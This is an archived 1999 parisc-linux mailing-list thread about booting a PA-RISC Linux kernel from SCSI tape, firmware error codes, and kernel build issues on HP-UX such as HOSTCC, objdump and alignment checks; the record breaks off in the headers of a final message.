Cc: ulrich_strelow@yahoo.com, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: kirkb@chrome.rose.hp.com  Tue Sep 28 11:28:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA02089
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 11:28:11 -0600
Original-Received: (qmail 11297 invoked by uid 15267); 28 Sep 1999 17:28:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11290 invoked from network); 28 Sep 1999 17:28:32 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 17:28:32 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA16472;
	Tue, 28 Sep 1999 13:26:35 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id KAA14093; Tue, 28 Sep 1999 10:28:46 -0700 (PDT)
In-Reply-To: <199909281619.JAA05140@milano.cup.hp.com>; from "Grant Grundler" at Sep 28, 99 9:19 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9978



| > Attempting to load IPL.
| > 
| > Failed I/O operation with scsi.0.0
| > ENTRY_IO status = -10
| > 
| > 00000000 00000000 00000000 00000000 00000000 00000000
| > 00000000 00000000
| > 00000000 00000000 00000000 00000000 00000000 00000000
| > 00000000 00000000
| > 00004F04 000000FF FF0009BF 00000000 800100DC 00000000
| > 0025F000 00000400
| > 98080000 00000000 00008C60 00000000 000000FF 00000000
| > 00000000 00000000
| 
| I believe this is a problem with either how the tape was created
| or talking to the tape drive. Does anyone know where to find what
| the -10 status means?


>From the firmware comments:

/* RETURNS:
/*
/*   3   :  EOF Encountered ( Sequential Device only)
/*   2   :  Recoverable error
/*   1   : Inexact I/O Transfer
/*   0   : OK
/*   -2  : Non Existant Option.
/*   -3  : Cannot complete call without error
/*   -4  : Unrecoverable Hardware Error
/*   -6  : Illegal Device Address
/*   -7  : Non Existant Device
/*   -8  : Module/Device not ready
/*   -10 : Invalid Argument ( Invalid SCSI ID or LUN )
/*   -12 : Unsupported Record Size
/*   -14 : Illegal Device block Size

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Javen <tomja@InnoTrac.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from tape
Date: Tue, 28 Sep 1999 21:07:54 +0300 (EEST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990928210234.23552A-100000@data.innotrac.fi>
References: <199909281619.JAA05140@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619780 14138 80.91.229.3 (22 Nov 2014 01:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:40 +0000 (UTC)
Cc: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: tomja@InnoTrac.fi  Tue Sep 28 12:14:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA02346
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 12:14:22 -0600
Original-Received: (qmail 31174 invoked by uid 15267); 28 Sep 1999 18:14:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31164 invoked from network); 28 Sep 1999 18:14:43 -0000
Original-Received: from data.innotrac.fi (193.94.103.30)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 18:14:43 -0000
Original-Received: from localhost (tomja@localhost [127.0.0.1])
	by data.innotrac.fi (8.8.5/8.8.5) with SMTP id VAA23593;
	Tue, 28 Sep 1999 21:07:54 +0300
In-Reply-To: <199909281619.JAA05140@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9979

On Tue, 28 Sep 1999, Grant Grundler wrote:

> Ulrich Strelow wrote:
> > I know that this is extremely low priority but...
> > 
> > I have tried to boot the linux kernel from a SCSI DDS
> > tape (copied via dd if=Image of=/dev/rmt/0m bs=512).
> > The same kernel (cvs tree from today) boots
> > sucessfully via rbootd on my 715/33. Here is the
> > console log:
> ...
> > Select from menu: b p2
> > 
> > Trying scsi.0.0
> > Boot path initialized.
> > Attempting to load IPL.
> > 
> > Failed I/O operation with scsi.0.0
> > ENTRY_IO status = -10
> > 
> > 00000000 00000000 00000000 00000000 00000000 00000000
> > 00000000 00000000
> > 00000000 00000000 00000000 00000000 00000000 00000000
> > 00000000 00000000
> > 00004F04 000000FF FF0009BF 00000000 800100DC 00000000
> > 0025F000 00000400
> > 98080000 00000000 00008C60 00000000 000000FF 00000000
> > 00000000 00000000
> 
> I believe this is a problem with either how the tape was created
> or talking to the tape drive. Does anyone know where to find what
> the -10 status means?
> 
> Another difference when booting from tape (vs disk), is how the
> tape is "made". One *must* specify 2k block size. It doesn't matter
> for disk devices. Eg: 
> 
> 	dd if=Image of=/dev/rmt/0m bs=2k
If I remember correctly the utah sources mkboot program has a comment that
says the file should be an odd number of 1k blocks. It has a -t option for
making tape files. 


Tom
-- 
=============================+===========================
Tom Javen                    |   Innotrac Diagnostics Oy
email tom.javen@innotrac.fi  |   Finland
gsm   +358-40-5860532        |   phone +358-2-2410025
                             |   fax   +358-2-2410024
=============================+===========================
     


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simen Thoresen <simen-tt@online.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiling (and booting) on a 735
Date: Tue, 28 Sep 1999 21:30:46 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <199909281924.VAA02857@online.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619780 14141 80.91.229.3 (22 Nov 2014 01:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: simen-tt@online.no  Tue Sep 28 13:24:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA02652
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 13:24:15 -0600
Original-Received: (qmail 28963 invoked by uid 15267); 28 Sep 1999 19:24:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28956 invoked from network); 28 Sep 1999 19:24:37 -0000
Original-Received: from pilt-s.online.no (HELO online.no) (148.122.208.18)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 19:24:37 -0000
Original-Received: from celeris (ti08a95-0026.dialup.online.no [130.67.46.26])
	by online.no (8.9.3/8.9.1) with SMTP id VAA02857
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Sep 1999 21:24:35 +0200 (MET DST)
X-Sender: simen-tt@mail.online.no
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Xref: news.gmane.org gmane.linux.ports.parisc:9980

I've now downloaded the ramdisk.bin image (0903), and have compiled with
that. The compile worked, and I'm now sitting with a probably nonworking
kernel :-)

How do I boot?

I'v killed the filesystem on my 2nd disk, doing cat vmlinux >
/dev/dsk/c0t2d0 . No great loss, as I'v emtied it of useful data, and was
planning to do that anyway. Unfortunately, when I boot from P1, IPL
responds with 'bad LIF magic'. back to hpux, then....

Do I need a tftp-server and try for a netboot?


make menuconfig:
I've downloaded ncurses (v 4.2 from ftp.gnu.org,
/gnu/ncurses/ncurses-4.2.tar.gz ) and installed it.

I then linked /usr/local/include (where ncurses.h resides) to
/usr/include/ncurses
(so that /usr/include/ncurses/ncurses.h exists), and sssslightly modified
linux/scripts/lxdialog/Makefile, as HPUX's find barfed on 
-maxdepth 1.

sh-2.03$ diff Makefile.old Makefile
33c33
<       @x=`find /lib/ /usr/lib/ /usr/local/lib/ -maxdepth 1 -name
'libncurses.*
'` ;\
---
>       @x=`find /lib/ /usr/lib/ /usr/local/lib/ -name 'libncurses.*'` ;\

Running make menuconfig from the kernel directory now works great, and I
can build nonworking kernels with gusto.

-Simen Thoresen - finally hacking something useful.
--
"We do have a summer. Last year, I remember, it was a Wednesday" 
-Helga-Marie Johnesen, Norwegian citizen, TIME international.

GNUsig v0.9A R3
Support the GNUsig-project! Mail simen-tt@online.no for details.


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling (and booting) on a 735
Date: Tue, 28 Sep 1999 21:28:27 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <19990928212827.C16533@suse.de>
References: <199909281924.VAA02857@online.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619780 14142 80.91.229.3 (22 Nov 2014 01:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Simen Thoresen <simen-tt@online.no>
Original-X-From: prumpf@suse.de  Tue Sep 28 13:28:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA02841
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 13:28:13 -0600
Original-Received: (qmail 30593 invoked by uid 15267); 28 Sep 1999 19:28:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30584 invoked from network); 28 Sep 1999 19:28:34 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 19:28:34 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 3520532CE1; Tue, 28 Sep 1999 21:28:25 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 704ED67B8; Tue, 28 Sep 1999 21:28:21 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 1BCEA7F8B; Tue, 28 Sep 1999 21:28:27 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909281924.VAA02857@online.no>; from Simen Thoresen on Tue, Sep 28, 1999 at 09:30:46PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9981

On Tue, Sep 28, 1999 at 09:30:46PM +0200, Simen Thoresen wrote:
> Do I need a tftp-server and try for a netboot?

That's what I'd do.

> make menuconfig:
> I've downloaded ncurses (v 4.2 from ftp.gnu.org,
> /gnu/ncurses/ncurses-4.2.tar.gz ) and installed it.
> 
> I then linked /usr/local/include (where ncurses.h resides) to
> /usr/include/ncurses
> (so that /usr/include/ncurses/ncurses.h exists), and sssslightly modified
> linux/scripts/lxdialog/Makefile, as HPUX's find barfed on 
> -maxdepth 1.

use GNU find.

> Running make menuconfig from the kernel directory now works great, and I

very cool.


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frowand@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from tape
Date: Tue, 28 Sep 1999 13:37:47 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <37F1271B.52A2@cup.hp.com>
References: <199909281728.KAA14093@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619781 14147 80.91.229.3 (22 Nov 2014 01:29:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:41 +0000 (UTC)
Cc: grundler@cup.hp.com, ulrich_strelow@yahoo.com,
        parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: frowand@cup.hp.com  Tue Sep 28 15:00:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03185
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 15:00:34 -0600
Original-Received: (qmail 9341 invoked by uid 15267); 28 Sep 1999 21:00:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9331 invoked from network); 28 Sep 1999 21:00:55 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 21:00:55 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA26530;
	Tue, 28 Sep 1999 14:38:08 -0600 (MDT)
Original-Received: from xsvr4 (xsvr4.cup.hp.com [15.0.68.169]) by xsvr4.cup.hp.com with SMTP (8.7.6/8.7.3) id NAA20717; Tue, 28 Sep 1999 13:37:47 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 3.02 (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:9982

Kirk Bresniker wrote:
> 
> | > Attempting to load IPL.
> | >
> | > Failed I/O operation with scsi.0.0
> | > ENTRY_IO status = -10
> | >
> | > 00000000 00000000 00000000 00000000 00000000 00000000
> | > 00000000 00000000
> | > 00000000 00000000 00000000 00000000 00000000 00000000
> | > 00000000 00000000
> | > 00004F04 000000FF FF0009BF 00000000 800100DC 00000000
> | > 0025F000 00000400
> | > 98080000 00000000 00008C60 00000000 000000FF 00000000
> | > 00000000 00000000
> |
> | I believe this is a problem with either how the tape was created
> | or talking to the tape drive. Does anyone know where to find what
> | the -10 status means?
> 
> >From the firmware comments:
> 
> /* RETURNS:
> /*
> /*   3   :  EOF Encountered ( Sequential Device only)
> /*   2   :  Recoverable error
> /*   1   : Inexact I/O Transfer
> /*   0   : OK
> /*   -2  : Non Existant Option.
> /*   -3  : Cannot complete call without error
> /*   -4  : Unrecoverable Hardware Error
> /*   -6  : Illegal Device Address
> /*   -7  : Non Existant Device
> /*   -8  : Module/Device not ready
> /*   -10 : Invalid Argument ( Invalid SCSI ID or LUN )
> /*   -12 : Unsupported Record Size
> /*   -14 : Illegal Device block Size
> 
> KMB

And for future reference to save Kirk from having to look at his
source code...

The IO ACD is at

  http://dtf.external.hp.com/dtf/swdev/pdf/iodc.pdf

The Entry_IO errors are on page 42 of the PDC (document p. 3-40).

-Frank Rowand


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HOSTCC vs CC and other nits
Date: Tue, 28 Sep 1999 23:05:27 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <199909290605.XAA06877@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619781 14152 80.91.229.3 (22 Nov 2014 01:29:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Sep 29 00:06:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA04235
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Sep 1999 00:06:22 -0600
Original-Received: (qmail 18186 invoked by uid 15267); 29 Sep 1999 06:06:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18179 invoked from network); 29 Sep 1999 06:06:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 29 Sep 1999 06:06:41 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id CAA14910
	for <parisc-linux@thepuffingroup.com>; Wed, 29 Sep 1999 02:05:59 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id XAA06877 for <parisc-linux@thepuffingroup.com>; Tue, 28 Sep 1999 23:05:33 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9983


I think Phil (with help from Alex) broke kernel builds...

While trying to creatively fix the init_task_union alignment
garbage, I can't build anymore....Here's the problems:

o I don't have and don't want a native gcc.  I want to know when
  things are building for the native or cross environment.
  That means use HOSTCC (instead of $(CC)) in the Makefiles.
  I can then do "make vmlinux HOSTCC=cc".

o I don't have obj_dump. And I haven't the faintest clue
  where to find it. Could we use nm instead?

o I looked at checkalign.c and am feeling a bit confused.
  Why is the code testing for 4K alignment?
  I though the requirement was 8K alignement...

I fixed the first problem.

Here another idea for the second two:

/usr/bin/nm vmlinux |awk '/init_task_union/ {
	n = int($2); t = int(n/8192); t *= 8192;
	if (n != t) {
		print NOT
	}
	printf("0x%x vs 0x%x\n", n, t)
}' FS=\|

Perl is probably better for this kind of stuff (has "&"
operator which is missing from awk). But I'm not a very good
perl hacker...

enjoy,
grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOSTCC vs CC and other nits
Date: Wed, 29 Sep 1999 14:26:52 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990929142652.C20734@mencheca.ch.genedata.com>
References: <199909290605.XAA06877@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619781 14154 80.91.229.3 (22 Nov 2014 01:29:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Sep 29 06:26:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA04791
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Sep 1999 06:26:37 -0600
Original-Received: (qmail 16422 invoked by uid 15267); 29 Sep 1999 12:27:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16415 invoked from network); 29 Sep 1999 12:26:59 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 29 Sep 1999 12:26:59 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id OAA05623;
	Wed, 29 Sep 1999 14:26:54 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id OAA903936;
	Wed, 29 Sep 1999 14:26:53 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11WIou-00025hC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Wed, 29 Sep 1999 14:26:52 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199909290605.XAA06877@milano.cup.hp.com>; from Grant Grundler on Tue, Sep 28, 1999 at 11:05:27PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9984

On Tue, Sep 28, 1999 at 11:05:27PM -0700, Grant Grundler wrote:
> o I don't have obj_dump. And I haven't the faintest clue
>   where to find it. Could we use nm instead?

objdump is part of GNU binutils.  I'm not sure why we use it rather
than nm.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOSTCC vs CC and other nits
Date: Wed, 29 Sep 1999 10:33:40 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <19990929103340.B14605@thepuffingroup.com>
References: <199909290605.XAA06877@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619782 14159 80.91.229.3 (22 Nov 2014 01:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Wed Sep 29 08:07:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA05169
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Sep 1999 08:07:43 -0600
Original-Received: (qmail 12076 invoked by uid 15267); 29 Sep 1999 14:08:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12069 invoked from network); 29 Sep 1999 14:08:00 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 29 Sep 1999 14:08:00 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id KAA17063
	for parisc-linux@thepuffingroup.com; Wed, 29 Sep 1999 10:33:40 -0400
X-Mailer: Mutt 0.93.2
In-Reply-To: <199909290605.XAA06877@milano.cup.hp.com>; from Grant Grundler on Tue, Sep 28, 1999 at 11:05:27PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9985

On Sep 28, Grant Grundler wrote:
>   That means use HOSTCC (instead of $(CC)) in the Makefiles.
>   I can then do "make vmlinux HOSTCC=cc".

Oops.  Understandable desire, you're right of course.

> o I don't have obj_dump. And I haven't the faintest clue
>   where to find it. Could we use nm instead?

It's part of GNU binutils, which I thought we required to build the
kernel anyways?

> o I looked at checkalign.c and am feeling a bit confused.
>   Why is the code testing for 4K alignment?
>   I though the requirement was 8K alignement...

It tests based on the assumption that it's either 4K or 8K aligned.
If it's in fact only aligned on a 4K boundary, addr&4096 will be true.
Or have I horked that?

> Perl is probably better for this kind of stuff (has "&"
> operator which is missing from awk). But I'm not a very good
> perl hacker...

We figured that requiring perl to build was probably a bad idea.  Not
that this whole thing isn't already a bad idea... :)

I'll make some changes to make it more friendly.

-Phil


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from tape
Date: Wed, 29 Sep 1999 07:58:15 -0700 (PDT)
Lines: 80
Approved: news@gmane.org
Message-ID: <19990929145815.16475.rocketmail@web505.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619782 14164 80.91.229.3 (22 Nov 2014 01:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: ulrich_strelow@yahoo.com  Wed Sep 29 08:58:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA05579
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Sep 1999 08:58:14 -0600
Original-Received: (qmail 29119 invoked by uid 15267); 29 Sep 1999 14:58:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29112 invoked from network); 29 Sep 1999 14:58:28 -0000
Original-Received: from web505.mail.yahoo.com (HELO web505.yahoomail.com) (128.11.68.72)
  by mailserv2.iuinc.com with SMTP; 29 Sep 1999 14:58:28 -0000
Original-Received: from [149.234.12.1] by web505.mail.yahoo.com; Wed, 29 Sep 1999 07:58:15 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:9986

Hi all,

thanks for all the tips. dd-ing with bs=2k made the
difference. The kernel now also boots from a SCSI DDS
tape drive (HP35480A). My first thought was to choose
the disk sector size 512 but this was wrong.

Ulrich

--- Grant Grundler <grundler@cup.hp.com> wrote:
> Ulrich Strelow wrote:
> > I know that this is extremely low priority but...
> > 
> > I have tried to boot the linux kernel from a SCSI
> DDS
> > tape (copied via dd if=Image of=/dev/rmt/0m
> bs=512).
> > The same kernel (cvs tree from today) boots
> > sucessfully via rbootd on my 715/33. Here is the
> > console log:
> ...
> > Select from menu: b p2
> > 
> > Trying scsi.0.0
> > Boot path initialized.
> > Attempting to load IPL.
> > 
> > Failed I/O operation with scsi.0.0
> > ENTRY_IO status = -10
> > 
> > 00000000 00000000 00000000 00000000 00000000
> 00000000
> > 00000000 00000000
> > 00000000 00000000 00000000 00000000 00000000
> 00000000
> > 00000000 00000000
> > 00004F04 000000FF FF0009BF 00000000 800100DC
> 00000000
> > 0025F000 00000400
> > 98080000 00000000 00008C60 00000000 000000FF
> 00000000
> > 00000000 00000000
> 
> I believe this is a problem with either how the tape
> was created
> or talking to the tape drive. Does anyone know where
> to find what
> the -10 status means?
> 
> Another difference when booting from tape (vs disk),
> is how the
> tape is "made". One *must* specify 2k block size. It
> doesn't matter
> for disk devices. Eg: 
> 
> 	dd if=Image of=/dev/rmt/0m bs=2k
> 
> I don't know if Image is intentionally padded to a
> 2k block size.
> One might check that too.
> 
> grant
> 
> 
> Grant Grundler
> Communications Infrastructure Computer Operations
> +1.408.447.7253
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 

__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Testers needed for hardware detection code...
Date: Thu, 30 Sep 1999 01:57:21 -0400
Organization: The Puffin Group
Lines: 80
Approved: news@gmane.org
Message-ID: <37F2FBC1.4A09AF1E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619782 14165 80.91.229.3 (22 Nov 2014 01:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Wed Sep 29 23:39:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA07132
